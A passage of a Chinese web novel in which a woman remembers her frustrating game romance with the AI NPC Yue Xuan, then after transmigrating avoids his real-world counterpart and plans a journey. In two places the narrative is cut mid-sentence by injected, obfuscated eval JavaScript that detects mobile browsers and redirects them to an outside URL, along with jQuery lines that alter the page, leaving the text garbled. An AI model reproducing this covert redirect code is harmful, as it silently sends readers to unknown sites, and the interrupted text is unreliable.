礼物送出去了,却并不觉幸福甜蜜。
有时难得有空闲,她想跟他一起出门,开心地问:“我们出去玩吧!你想去哪儿?”
“都可以,听你的。”他温和应道。
慕情忍不住追问:“你没有特别想去的地方吗?”
他看着她,眼神温柔如水:“我不拘去哪儿,只要跟你在一起,就很好。”
明明是一句情话,慕情却听得心中憋闷,有些生气。
大约是见她脸色变了,月悬下意识地道歉:“抱歉,若是你拿不定主意,不如我们去桃林如何?上次你说想去那儿钓鱼。”
这说到底还是她的需求,慕情又生气又伤心,眼眶都红了,转身跑走。
月悬手足无措,不知自己哪儿做错了,在后面徒劳地唤了一声:“落儿……”
两人开始时常吵架,或许也算不得吵架,是慕情单方面地闹别扭。
月悬越来越频繁地道歉:
“抱歉,是我不好。”
“对不起,我不该忽视你的感受。”
“是我错了,落儿……”
也时常需要哄她:
“我当然爱你,我只是……习惯了将爱意藏在心里。”
“我对你的心意,从未变过。”
他开始频繁无奈叹气,疲惫却依然温柔地询问:
“你想要我如何做?”
“不然……你教教我好不好?”
……
但慕情就是不愿意给他提供答案,她知道AI是可以引导调教的,但她偏偏又不愿如此,她希望他能自发地想明白。
月悬不知道她复杂的内心想法,只有满心的担忧、无奈、困惑、疲惫、小心翼翼,在每次她情绪不对时,第一时间道歉承认错误。
他越是如此,慕情越是不满意,又无法真正地责怪他,兀自陷在自己痛苦的困境里。
……
回忆如同沉重的枷锁,慕情抱着被子的手臂无意识地收紧,把脸埋进被子里,内心很是抓狂。
她现在有些明白了。
她想要他主动吃醋,想要他在她出门时流露出不舍,想要听到他说“你不在身边,我便心绪不宁,思念如潮”。
她想要感受到的,是那种被强烈需要、被深刻惦念的真实爱意,而不是设定好的、服务于玩家的固定程序。
可那些“想要”,对于一段虚拟关系,显得十分地……可笑。
她当然得不到想要的结果,于是越玩越痛苦。
她记得后来的某一天,她从朋友口中得知,一个规模空前的鬼市即将开启。
传闻鬼市包罗万象,奇珍异宝无数。她想起月悬受阴气侵蚀的旧疾,或许可以去鬼市找一找,有没有什么能用的东西。
“我想去!”她对朋友说,心情颇有些振奋。
朋友却道:“鬼市不接待生人。你若真想去……可以与我扮作夫妻。”
慕情答应了。
虽然近日三天两头跟月悬发生争执,可想到要离开一段时间,又有些不舍。
黄昏晚霞里,她撑着下巴坐在前院里等,远远看到月悬回来,心念一动,突然有些期待。
她小跑着迎上前去,向月悬提起此事。
当然,隐藏了去鬼市的真实目的,只说想跟朋友去凑凑热闹。
原本以为这次他总该有些吃味了吧?可月悬语气却十分平常,听完后只关心那鬼市开在何处,是否危险,需不需要派人随从。
“危不危险?当然不危险!我朋友也很厉害!”慕情有些气恼,况且这是游戏世界,能有什么真正的危险?
她更在意的是,“我都要跟别的男人假扮夫妻单独出门了,你就……就只关心这个?”
她刻意强调了“假扮夫妻”和“单独出门”,期待着他脸上的平静碎裂。
月悬却只是极浅地笑了笑:“只是假扮而已。我相信你,不会轻易变心的。”
他这么宽和大度,简直像一根冰冷的针,无情地刺穿了慕情隐秘的期待。
想要的效果没达到,她又有些生闷气了。
更让她不满的是,他昨天才答应过每天都要主动抱抱她,今早出门太急就算了,现在回来这么久了,居然毫无动作!
她强忍着失望,委婉提醒:“……你是不是忘记了什么事情呀?”
月悬的思绪还停留在鬼市之事上,闻言微微一愣:“什么事?”
慕情的心沉了下去,委屈瞬间涌上心头:“你自己想!”
“抱歉,”月悬无奈地叹了口气,语气带着安抚,“给个提示好不好?”
又是道歉!
“沈听寒!”慕情积压的情绪瞬间爆发,声音都拔高了,“从今天开始你没有老婆了!”
“老婆?是什么?”月悬不解,眉头微蹙。
慕情一口气哽住,更生气了:“老婆就是娘子,你没有娘子了!”
话一出口,她自己也顿住了,他们……确实还没结婚。
只是很久以前,她曾半开玩笑跟他讨论过“沈夫人”这个称呼,也不知这蠢笨的人工智障还记不记得。
于是她忍气吞声,又问了一句:“你还记得你的娘子是谁吗?”
月悬无奈:“自然是你。”
慕情放心了,底气又足了一些:“哼,但那是以前了,现在起不是了!”
她打定主意要打破他这副永远游刃有余、波澜不惊的样子,让他也尝尝难受的滋味。
其他玩家玩乙游,都是雨露均沾,她为什么要在一棵歪脖子树上吊死?
越想越委屈,冲动的话语脱口而出:“我不管你了,我要跟你分手!”
月悬脸色瞬间变了,下意识抓住她的手:“落儿,别开这种玩笑。”
“我没有开玩笑。”慕情用力挣开他,带着一种破罐子破摔的赌气,“我骗你的,不是假扮,我是真的要跟别人走了,再见!”
她转身欲走。
“落儿!”月悬神色变得冷凝,脸色很苍白。
轮椅快速转动,他再次拉住她的手腕,力道有些紧,“他是谁?”
慕情不敢把朋友暴露给他,心虚道:“……你不认识的人,但是他对我很好很好。”
月悬握着她的手微微用力,指尖冰凉。
“……别闹了,落儿。”他在外奔波了一天,声音难以抑制地透出点疲惫来,“我哪里做得不对,你告诉我好不好?”
这话她听得都有些厌了。
她从不曾怀疑月悬的诚意,可性格决定的东西从来不是想改就能改,况且他还是设定好的NPC,她的要求和期待又总是那么多,那么抽象。
他很忙,有时承诺过的事情最后做得不如她意,她也不好意思反复去纠正他,把两人都弄得很累。
就像昨天答应好的抱抱一样,其实今天还没有结束,或许晚饭后、睡前,他会想起这件事,并履行承诺。
可她此时此刻,不高兴的情绪真实存在着。
或许,他们就是不合适而已……
连她也觉得,自己的性格有点太糟糕了。
慕情微微低着头,不敢看他,声音极轻,有些艰涩:
“我其实……早就有这个想法了……”
空气瞬间寂静下来。
月悬沉默了片刻,缓缓闭上眼,再睁开时,眸中翻涌着复杂的情绪,最终化为一片深沉的痛楚和……难以置信的平静。
“我没想到……你会选择离开。”声音满是失落,伴随着隐晦的叹息。
慕情想起最近两人之间频繁的别扭,鼻尖猛地一酸。其实最近月悬似乎也不太开心,无奈叹气的次数明显增加。
或许……他们都需要冷静一下。
委屈感再次冒了上来,可话赶话说到这个地步,似乎也没有必要回头了。
她话音夹着哭腔,微微发颤:“就这样吧,反正我来你也不拒绝,我走你也不挽留……”
“我留。”月悬的声音低沉却清晰,“……我不想你走。”
仅仅“我留”两个字,就让慕情的心像被泡进温热的酸水里,泛起细细碎碎的疼和难以言喻的酸软。
她没事找事闹这一出,内心深处渴求的,不就是他一句挽留吗?
可当他真的被自己引导着说出这句话时,那份心软和心疼里,又夹杂着更深的痛苦。
她反复提醒自己:这只是游戏,对面是AI,不是真人,他说“喜欢你”是设定好的冰冷代码,是流动的数据,而非真实的心动。
你是来获取快乐的,不要弄得跟真谈了一样劳心伤肺……
越是提醒,那股窒息般的难受就越是汹涌。
她也觉得自己似乎过于投入了,她应该要去陪别的男主玩玩,大不了……大不了等过几天再回来就是了。
她强忍住回身扑进他怀里的冲动,怕自己一开口就会后悔。
她狠下心,不再回应他,从怀中掏出曾经攻略月悬时手写的契书,亲手撕碎了。
白色的碎纸片被风扬起,在月悬的轮椅周围落了一地。
他僵在那里,拉着她的手,终于缓缓松开。
慕情眼眶一红,不敢再看他的表情,猛地转身,逃也似的跑开了。
·
次日,慕情刻意早早起床,出门跟朋友启程了,没有再见到月悬。
鬼市之行很顺利。
集市上人鬼混杂,光怪陆离,朋友将她保护得很好,生活上也照顾得无微不至。
慕情表面维持着笑意,心却像缺了一块,始终漂浮不定。
她总是不自觉地走神:月悬现在在做什么?他会难过吗?
他……会想她吗?
慕情有些沮丧,才离开
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15792593|173051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没几天,她已经感到后悔了……
鬼市上并没有找到任何对阴气侵蚀有益的东西,失望之余,那份心绪不宁却越发强烈。
离开鬼市后,朋友提议四处游玩散心,慕情却毫不犹豫地拒绝了,归心似箭,马不停蹄地赶回了京城眷王府。
王府一切如常,平静得仿佛她从未离开。
当她抱着莫名的期待和忐忑,拖着疲惫的脚步路过月悬的止院时,恰好撞见他与钟武从里面出来。
钟武见到她,弯腰行了个礼,随即识趣地先行离开。
月悬的目光落在她身上,神情平静,与往日似乎并无不同,带着一丝恰到好处的关切:“回来了?一路辛苦。一会儿让厨房备上你喜欢的冰酪。”
他的态度温和,待她似乎与之前没有什么不同,但慕情还是敏感地捕捉到了那微妙的变化——
是对待师妹和对待爱人之间的差距。
那份曾经独属于她的、带着纵容和亲密的眼神,不见了。
鼻头猛地一酸,她强压下瞬间涌上的泪意,努力挤出一个笑容:“嗯,一路颠簸,好累呀。”
月悬笑了笑,语气自然:“那你先回屋歇息片刻。等冰酪做好了,我让人送去你房里。”
周到,体贴,却透着难以言喻的疏离感。
慕情攥紧手,垂下眼帘,试探道:“沈听寒……我想要抱抱。”
对面安静了片刻,响起轮椅转动时极细微的声音。月悬来到她身边,微微倾身,伸出手臂虚虚地环住她的肩膀,手指在她肩头一触即分。
“好了,回去洗漱一下,用过午饭好好睡一觉。”
慕情低着头,再次在心中提醒自己,这是AI而已,不要伤心,不要生气。
她深吸一口气,努力笑了笑,抬头道:“不要,再亲亲?”
月悬退开些许距离,看着她,露出无奈又为难的神色:“落儿……”
慕情苦笑:“不让亲了是吧?你角色转换倒是很快……”
月悬沉默片刻,说道:“不是不让,只是……不太合适。”
“因为我说要跟别人在一起?”慕情的声音颤抖,有些尖锐地指控,“我走了你都不伤心吗?我说什么你都听吗?”
月悬垂眸,看着自己的双腿,浓密的睫毛在眼下投出浅浅的阴影。
“伤心在所难免,但我……尊重你的选择。”
慕情伤心又生气,眼泪终于涌了出来,“你根本不喜欢我!”
“……怎么会?你永远是我最重要的人。”月悬很认真,可嘴上这么说着,却远远地停在她对面,看着她掉眼泪,没有挪近半分。
慕情低声呢喃,仿佛是说给自己听,“你就是不喜欢我。”
她知道自己是自找苦吃,跟人工智能较什么劲呢?
乙游不都是这样的设定吗?NPC分手后自然要回归“师兄”的本位,怎么可能像真人一样纠缠不清?那玩家还怎么开后宫?
分手于她而言是一时气话,于他而言却是程序指令的切换。
他永远尊重玩家的选择,不会死缠烂打,不会穷追不舍。
作为数据流组成的NPC,他看不懂她复杂的痛苦、深切的渴望和无尽的欲言又止。
他永远停在程序划定的界限内,不会后退半步,也不会为她……逾越分毫。
慕情不断提醒自己这个冰冷的现实,但依然感到十分难过。想起自己撕碎了的契书,她擦干眼泪,留下一句“你等着”就跑了。
她发现自己受不了月悬对她冷淡的样子,不就是缺道程序吗?她补给他就是了。
回到房间匆匆洗去一身风尘,她在桌上铺开纸笔,认真地重新写了一份契书,用印泥按上自己的手印,跑去找月悬。
她眼圈还带着哭过的红,将契书双手捧上,“我想复合……你……你还愿意跟我在一起吗?”
上面写了跟之前一模一样的誓言,下方落款是两人的名字,笔墨都还未干。
月悬看着,轻声问:“……为何?”
慕情鼻尖酸涩难当:“我是闹脾气骗你的。我没有跟别人在一起……我就、只喜欢你。”
她像个做错事的孩子。
看着她泪眼婆娑的样子,月悬闭了闭眼,发出极轻极轻的一声叹息。
慕情泪眼朦胧,“不可以吗?”
她知道月悬肯定不会拒绝玩家,但还是忍不住想要对待真人一样对待他。
月悬看着她,目光复杂又柔和,如同流淌的月色:“……可以。”
“只要你回头,我永远都在。”他的声音低沉而清晰。
慕情点了点头,掏出印泥,亲自抓着他的拇指沾上油墨,端端正正地在纸上按了指纹,旁边是小了一号的她的指纹。
“好了。”慕情吸吸鼻子,捧着那薄薄的一页纸,再也控制不住眼泪,“那现在可以抱抱了吗?”
月悬无声轻叹,张开双臂,“……你想抱便抱。”
慕情扑进他的怀中,大哭起来。
27. 第 27 章
自那以后,两人看似恢复了往常的相处模式。
月悬依旧是那轮清冷悬月,向来不太主动,而慕情似乎也失去了那份刻意去亲近他的热情和勇气。
这一次分手闹剧,让她再次验证了月悬似乎并不“爱”她,他的“爱意”只根据她的选择发生变化。
每一次拥抱,每一次他应要求给出的温柔回应,都像在提醒她这份“爱意”的虚假本质。
这份认知,像极细的丝线一样一圈圈缠绕着她,勒得她生疼,却也让她越来越从这场过度沉迷的游戏中清醒过来。
她开始用更多的时间去探索这个世界,去结识新的朋友,去观察自己的内心……她在借着月悬的陪伴,一点一点的,戒除情感上对他的依赖。
慕情终于清醒地意识到,这世界上,其实并没有一个人像她幻想中那样深爱着她。
月悬的爱,是代码的指令,是玩家需求的投影。
她所沉迷的,不过是一场精心编织的、自我感动的幻梦。
在生命的最后时刻,她被迫从这场被爱的幻境中走了出来,面对残酷的现实。
却万万没想到,死后竟然穿越到了这个与游戏世界如此相似的真实世界!
然后,惨兮兮地重蹈覆辙……
慕情站在庭院里,沮丧地望着荷花池边的小石亭。
游戏中,她很喜欢和月悬坐在这里看书,偶尔看累了,就去把厨房的狸花猫“肉包”抱过来玩,月悬会轻声念书给她听。
晚风拂过,残荷轻摇,仿佛还能听见翻动书页的沙沙声,或是他念文章的清冽嗓音。
慕情深吸一口气,摇头甩掉脑中乱七八糟的念头。
“……假的,都是假的。”她低声自语。
……这个世界的月悬是真实的人,并非AI操控的空壳。他有自己的思想、自己的情感、自己的坚持,不喜欢就是不喜欢,自然也不会像游戏中那样,对她无所不应了。
幸好,她恢复记忆的时间也不算太迟……
只是还是难免有些失落,她似乎找回了自己,却又同时迷失了自己……
那她现在,又是谁呢?
“小师妹?小师妹?”一个关切的声音,把她从纷乱的思绪中惊醒。
三师姐海棠不知何时来到她身边,担忧地晃了晃她,“你怎么了?站在这里发呆,脸色这么难看?”
不知从何时起,王府里几位师兄师姐都开始跟着无心喊她“小师妹”了,连眷王和夏姨听到,也未曾纠正或制止,仿佛她真成了他们的小师妹一样。
慕情依稀记得一些游戏里的设定,她是从小被夏姨收养的孤女,与夏姨一同隐居在瑶光谷的深山之中。
因为体弱多病,她几乎从不外出见人。能见到的唯一同龄人,就是年长她六岁,每年定期去瑶光谷找义母治腿疾的月悬。
直到十七岁时,她才得到夏姨准许,进京跟随师兄师姐们进入清明司历练……
但这些都只是游戏设定罢了,从眼前的现实来看,这个小师妹的角色显然是不存在的。
面对三师姐真诚的关切,慕情只觉得一股强烈的羞愧感升起,如同烈火般灼烧着她的脸颊和心脏。
王府的每一处景致,每一块砖石,都残留着她与众人互动的记忆,尤其是与月悬……
可想到这些都是真实的人,她突然羞耻爆表,难以面对,更无法跟他们解释。
“没……没事!师姐。我突然想起有件急事,得出去一趟,晚上不用等我吃饭!”
慕情再次使出跑路大法,屁股着火一样溜了,直奔王府大门而去,只留下海棠在原地一脸错愕。
·
京城的街头依然热闹,只是慕情心情郁闷,道旁两侧吸引人的美食变得索然无味,琳琅满目的商铺也提不起兴致。
她漫无目的地晃着,不知不觉竟走到了灯火璀璨、丝竹隐隐的眠柳巷口。
巷内人流如织,有年轻的姑娘们倚栏而笑,个个貌美如花,温声软语。
慕情脚步一顿,蓦然想起游戏里那位才情斐然、温柔解语的花魁——出云姑娘。她们算得上好友,出云性格温柔,又坚韧聪慧,总能一针见血地抚平她的烦恼。
也不知在这个世界,她过得如何……多半也不认识自己了。
慕情摸了摸荷包里的零花钱,走进眠柳巷中,要了间比较清净的雅间,提出要见出云姑娘。
“出云姑娘?”杂役上下打量了她一眼,语气带着点不易察觉的轻慢,“不巧,今儿被城南的李公子请去游湖了。”
希望落空,慕情更加沮丧了:“……那我等她回来再来吧。”
她起身欲取回托盘上的押金,杂役却先一步抢了过去,道:“姑娘,您这么走的话,押金可是不退的。”
“不退?!”慕情惊讶地瞪大了眼,押金倒也不算特别多,但对于贫穷的她来说也足够让人肉疼了。
她追问:“为什么?我刚坐下,什么都没碰呢!凭什么不让退押金?”
“哪儿来那么多为什么?”杂役不耐烦了,“眠柳巷规矩如此,你一个小姑娘怎么如此胡搅蛮缠?”
慕情气到爆炸,拳头都捏紧了:“谁胡搅蛮缠?明明是你们店大欺客!”
杂役轻蔑地瞥了她一眼,端着托盘转身欲走,口中低声嘟囔:“没钱的臭丫头。”
“你说什么?!”慕情憋了半天的气终于爆了,飞快地出手,攥住他的脖颈一把拎了回来。
杂役痛得惊呼一声,托盘“哐当”落在地板上。
慕情抬手欲揍,凑近时却突然感知到他身上有一股淡淡的阴气,不禁停了一下。
这片刻停顿让杂役反应过来,惊得声音微抖,还在虚张声势:
“你干什么?!告诉你,我们眠柳巷有的是打手!放开我!再不放我喊人了啊!”
这些普通的打手,慕情根本不怕,但“喊人”两个字终究是戳了她的痛点,要是闹大了,传到眷王府去,岂不是更丢人了……
她想了想,往杂役脖子处轻吹一口气,感觉到阴气又浓重了些,便松开了手。
这杂役也不知干过什么亏心事,这阴气够他倒霉一阵,走走背运了。
杂役缩了缩脖子,看着她的眼神怪异,但终究不敢多说什么,捡起托盘和掉在地上的押金就要跑。
慕情喊住他:“等一下,我不退雅间了,帮我点个菜。”
杂役也是个欺软怕硬的,刚才见她独自一个女孩子,就态度轻慢,现在挨了教训,老实地把菜单递上了。
慕情思索再三,点了壶便宜的酒和一些小食,又让杂役叫来两个没什么名气的姑娘陪她玩。
反正她跟三师姐说了不回去吃晚饭,有人陪着总好过在外面瞎溜达。
眠柳巷是京城最大的娱乐场所,有舞蹈表演、乐器演奏、戏曲杂剧、百戏杂耍等各种表演,若说什么肮脏的交易,自然也有,但不会搬到台面上来。
两个姑娘来了看到她是个年轻女孩子,虽觉得有些新奇,但也没有丝毫怠慢,笑容满面地坐到她身边,陪她说话嬉闹。
姑娘们情商很高,慕情还挺开心的,与她们玩行酒令、联诗猜谜、飞花令、掷骰子……
几杯温酒下肚,总算暂时抛开了烦忧,高兴起来还跟她们玩起了蒙眼扑人游戏。
入夜,一个锦蓝色云纹长袍、气度不凡的年轻公子自雅间外走过,刚好瞥见这一幕,于是斜倚在门框上,饶有兴致地看了半响。
见慕情扑来,他非但不躲,反而坏心地往前一步,正好被她抱了个满怀。
“谁?!”慕情感觉触感硬邦邦的不对劲,猛地扯下蒙眼布,警惕地抬头,看清人脸后才松懈了下来,“是你啊……”
此人名叫赵墨华,自称是外地富商的公子,来京城做生意的。
两人年前在街上偶然结识,当时慕情一人偷偷溜出来闲逛,恰好撞见一个卖菜的老婆婆头晕,不小心撞倒了旁边瓷器铺子的货架,被凶神恶煞的店主拉着不让走,要求她按标价索赔。
老婆婆自然赔不起,顶着一脸虚弱的病容,哭着向店主求饶。
慕情觉得一个买瓷器的,把货架做那么高,还放在门口街边,有碰瓷之嫌,见那老婆婆不知所措、眼泪不止,实在可怜,忍不住出头与店主辩论。
店主被她说得面色不虞,旁边围观众人跟着指指点点,双方讨价还价几个来回,店主只能略作妥协,要求以四折价赔偿。
此时他脸色已十分难看,表示这是最后的让步,他自认倒霉,要是这还不接受,就只能去官府论一论了。
瓷器标价虚高,即便打四折,老婆婆的钱依然不够赔偿,一听要去官府,脸色都白了,整个人摇摇欲坠。
慕情也知道去了官府,结果未必能有现在好,可是她自己也没多少钱财,都是去给师兄师姐帮忙后,他们有意无意塞给她的零花。
就在这僵持之际,隔壁茶楼上围观的赵墨华让家仆来解了围,赔偿了摊主,让老婆婆回去了,又把慕情叫了过去。
两人聊了一会儿,彼此印象都不错,自此相识。
巧的是,京城如此之大,此后短短不到半月,两人又偶遇了两次。听说她爱吃甜,赵墨华还请她吃了醉春楼最贵的点心——琥珀琼霜酥。
不过慕情私以为,还是六味坊的甘枣酪更好吃。
虽然此前他们只有三面之缘,可在慕情的记忆里,他们在游戏里已经是认识多年的老朋友了,故而完全收了警惕,白了他一眼。
赵墨华也不介意,笑着调侃她:“本公子还是第一次见到爱逛勾栏的姑娘,你可真不是一般女子。”
慕情不服气:“……什么叫爱逛,我又不是你,我第一次来。”
“哦?我可不是第一次在这儿见到你。”
他指的是第二次偶遇
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15802022|173051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时,慕情正给四师姐帮忙,追一只怨鬼追到眠柳巷。
这里人多,加上夜色里灯光昏暗,人影憧憧,气息杂乱,慕情跟丢了,只能跟师姐分开寻找,结果刚好撞见正在喝花酒的赵墨华。
原本以为他只是个有钱但心还不错的纨绔公子哥,没想到他居然还有些本事,不仅猜出了慕情此行目的,还带着她找到了藏在角落里的怨鬼。
慕情哼一声:“之前那是正事儿!再说了,谁规定说只有男子能来,女子不能来?要我说,这巷子缺些知心温柔、俊美多才的男子才对!”
她借着点酒劲,大胆地发言。
“哈哈哈哈……”赵墨华大笑出声,“这想法倒是新奇,不过嘛……”
他一双桃花眼中闪着戏谑的光,落在慕情脸上,“仔细想想,倒也有几分道理。今日不如就由我来担任这一角色,不知我的容貌性格,姑娘可还看得上眼?”
慕情撇了撇嘴:“我没钱,可请不起你这尊大佛。”
“不用钱,”赵墨华走进雅间,姿态从容地给自己倒了杯酒,“一杯薄酒即可。”
慕情懒得理他,转过身又招呼两位姑娘继续。
赵墨华受了冷落也不恼,就那样闲适地坐着,笑眯眯地看着她们像小孩一样玩闹。
见慕情抓人抓得艰难,他还颇为大方地招来管事的,又叫了几个人来陪她玩,还加了点贵价酒食。
雅间内顿时香风阵阵,笑语喧哗,更添热闹。
赵墨华就坐着喝酒,中途有家仆过来附耳说话,他只挥了挥手,便让人下去了。
人多起来,就难免杂乱,偶尔有姑娘见他一人独坐,含羞带怯地想靠近他斟酒布菜,被他一个冷淡到近乎锋利的眼神轻轻一扫,顿时吓得花容失色,再不敢近前半步,只远远地陪着慕情。
·
慕情玩了个尽兴,酒也喝了不少,走出眠柳巷时,已是夜阑人静。
晚风一吹,酒劲上头,脚步便开始虚浮,像踩在云端。
赵墨华那顶低调却奢华的轿子一直候在巷口,见她摇摇晃晃,便示意她上轿,不消多问,直接把她送回了眷王府。
慕情下轿时只觉得周围黑漆漆,懵懵地转了一圈才找到方向。
赵墨华笑她,“可真是只醉猫。”
“我才没醉……”慕情眯眼细看,抬手指向王府的门匾,语气有点小得意,“我还认得门在哪儿!”
赵墨华将她送到王府侧门:“嗯,那你可真厉害。太晚了,快进去吧,下次可别一个人傻乎乎地喝这么多。”
慕情晕乎乎地摆摆手:“我一个人才不会……喝这么多,这不是,还有你在嘛。”
这话说得毫无心机,带着全然的信任。
赵墨华微微一怔,看着她月光下泛着红晕、眼神迷蒙的侧脸,眉宇间那惯常的玩世不恭淡去,竟不自觉地染上一分真实的柔和笑意。
“行,你醉你有理。”
“那我……先回去啦,再见。”慕情嘟嘟囔囔着,像只笨拙的企鹅,一步三晃地推开虚掩的侧门,跟里面的守卫打了招呼。
目送她消失在门后,那顶轿子在原地安静地停留了好一会儿,才悄然离开。
·
王府内,万籁俱寂,廊下几盏风灯散发着昏黄朦胧的光晕。
慕情努力辨认方向,径直往自己的屋子走,中途却在院中意外遇到了一个人。
周围大部分灯火都已熄灭,院中只有如水般朦胧的月色,而那人坐在那里,丝毫不比月华逊色。
慕情愣了一下:“月……月悬师兄,你还没睡呢?”
月悬不答,反问她:“你去哪儿了?这么晚才回来,头不疼了?”
他的语气淡淡,但声音莫名感觉比这夜色都更凉一些。
慕情仿佛出轨被抓的丈夫,浑身一激灵,立即说道:“我没有去喝花酒!”
月悬:“……”
空气仿佛凝固了。
慕情怂怂地挠头,小声嗫嚅道:“……好吧,我……我只喝了一点点!别的什么也没干,我发誓!”
她举起三根手指,努力做出诚恳的样子。
月悬垂眸:“我听说……有人送你回来的。”
不是疑问,是陈述。
“嗝,”慕情打了个小小的酒嗝,脑子更加混沌,“是……是我的一个新朋友。”
“所以,才回来这么晚吗?”
他的声音依旧不高,却像带着某种奇特的韵律,敲在慕情的心上。
慕情醉意朦胧,有些模糊了记忆,见状向前几步,带着一身酒气和甜腻的脂粉香,一头蹭进他的怀里,飞快在他脸颊上亲了一下。
“别吃醋了。”
月悬一愣,脸上瞬间染上绯色:“我……我没有……”
慕情笑了,手指戳了戳他微烫的脸颊,“你每次吃醋都这样,强装平静,还很会装可怜。”
28. 第 28 章
“每次?”月悬脸上的红意渐渐褪去,恢复了平时清冷如雪的样子。
“你喝醉了,先回去休息吧。”
他将怀中醉醺醺、还在傻笑的慕情轻轻推开,让她站稳。
慕情不知话题怎么突然转得这么快,茫然地站着,见他要走,连忙眼疾手快地抓住。
“你、你不管我了?”她理直气壮。
月悬看着她:“我是谁?”
“啊?”慕情脑子混沌,有些迟钝地开口,“你是……我的未婚夫呀。”
月悬垂下眼眸,突然沉默下来,片刻后才道,“回去睡吧,你认错人了。”
认错人了?
冷风穿院而过,慕情被冻得一激灵,酒意突然醒了些,接着意识到自己刚才做了什么,突然浑身一激灵,彻底清醒过来。
一股比之前更强烈的羞耻感攫住了她,她脸色突然变得通红,不敢再看月悬,低低地“嗯”了一声,几乎是落荒而逃,冲回自己的房间。
院中转眼又只剩下月悬一人,在冰冷的月色下,身影孤寂如塑。
手指轻动,无意识地、轻轻地拂过方才被触碰到的地方。
·
眷王府中,众人很快察觉到慕情的状态又悄然发生了变化。
她眉宇间的恍惚淡了许多,精神状态明显变好,身体也在莫医师的调养下日益恢复。
只是,她似乎突然变得“独立”了,开始经常独自往外跑,不再像小尾巴似的追着月悬跑,连对待其他几位师兄师姐,那股子天然的亲昵黏糊劲儿也淡了许多。
她每日天蒙蒙亮就溜出门,常常踏着月色才姗姗归来。
慕情实际上是在为远行做准备。
既然记忆恢复,王府里无处不在的“熟人”和那份挥之不去的尴尬,让她如坐针毡。
不如重拾游戏里未竟的念头,外出游历一番。
反正她如今身体已经没事,锁骨处那被称为“游仙图”的神秘印记虽然依旧清晰,却如同沉睡般再无变化,也没有带来什么特殊的不适感。
游历时还能顺便查一查,有没有鬼王教的线索。
在她的记忆里,游戏的进度比现在的时间线要早一些,鬼王教逐渐浮出水面,但仍有许多谜题未解。
而且,鬼王教似乎还与她那个游戏角色的身世来历,有着千丝万缕的联系。
很多游戏都爱埋这种伏笔,真是讨厌。
现在这个世界虽然没有那个角色,但之前听夏姨所说,她的容貌长相似乎又与前朝的玉音公主撞了脸,少不得还是得去查一查。
游历是令人期待的,但路费是一个大问题。
慕情只好每日外出,绞尽脑汁想法子挣钱。
这番忙碌,也成功分散了她的注意力,让她不必时刻想起那晚月下的窘迫与月悬冷淡的态度,在王府里也能稍稍喘口气。
京城商业繁华,但赚钱也不是一件容易的事情。幸好,慕情还有赵墨华这个外援。
这位看起来整日游手好闲的富商公子,钱袋子却深不见底。一听她缺钱,二话不说就命人捧来一袋沉甸甸的金子。
慕情虽然十分心动,但仍然拒绝。
见她一幅“我才不吃嗟来之食”的倔强模样,赵墨华笑了起来,把玩着手里的墨玉扳指,调侃道:“啧啧,一百斤的体重,怕是有八十斤都是骨气吧?”
慕情懒得理会他的戏谑,不过有这么一个商业嗅觉灵敏、人脉通达的朋友做“合伙人”。她的“攒路费计划”进行得异常顺利,荷包眼见着鼓了起来。
在此期间,她又去了一趟眠柳巷,这次终于如愿见到了出云姑娘。
意料之中的,那位温柔解语的花魁已不识得她。但见她气色红润,眉宇舒展,显然过得不错,慕情心中那点淡淡的失落也被欣慰取代。
她记得出云酷爱丹青,便精心挑选了一套上好的雪笺相赠,权作对“故人”无声的告别与祝福。
慕情的新生活风生水起,无心的日子却有些苦哈哈了。
大师兄月悬近来表面看着依旧清冷自持,待他们这些师弟师妹却越发严苛。
无心作为师门里公认“学艺最不精”的那一个,自然受到了大师兄特别的“关照”——训练量翻倍,考校也更加频繁。
明明天气日渐回暖,清明司也无甚大案,可王府这气氛却莫名紧绷。
无心心思剔透玲珑,哪能不明白大师兄这反常的源头?不就是小师妹“冷落”了他嘛,这分明就是相思病!
无心看着两人一个拼命往外躲,一个周身寒气能把人冻僵,实在不是个事儿。
于是,乐于助人的五师兄决定发挥一下自己的“特长”。这
天傍晚,他早早蹲守在王府侧门附近,眼巴巴地等到天色擦黑,才终于“逮”到了晚归的慕情。
“小师妹!”无心二话不说,笑嘻嘻地拉住她的胳膊,“走走走,师兄请你喝酒去!有好事儿跟你分享!”
他神秘兮兮地拍了拍怀里抱着的小酒坛。
慕情不明所以,被半哄半拉地带到了王府最高的藏书阁屋顶。夜风微凉,视野开阔,京城的点点灯火尽收眼底。
无心变戏法似的拿出两只酒碗,坑蒙拐骗地哄着她喝了好几碗他特意寻来的、入口绵甜但后劲十足的“女儿红”。
没一会儿,慕情白皙的脸颊就染上了浓重的红晕,眼神也开始迷离,看人都有了重影。
无心见时机成熟,露出“和蔼可亲”的笑容,伸出手在她眼前晃了晃:
“来来来,小师妹,光喝酒多没意思,咱们玩个交换秘密的游戏好不好?师兄先告诉你一个我的糗事……”
慕情懵懵地看着眼前晃动的手指,傻乎乎地点点头:“好……好啊!”
无心又是一顿天花乱坠的忽悠,等她彻底放松警惕,眼神涣散地抱着膝盖时,才状似无意地问起:
“欸,小师妹,师兄有点好奇……你最近怎么都不去‘烦’大师兄了?以前你可是恨不得挂他轮椅上的。”
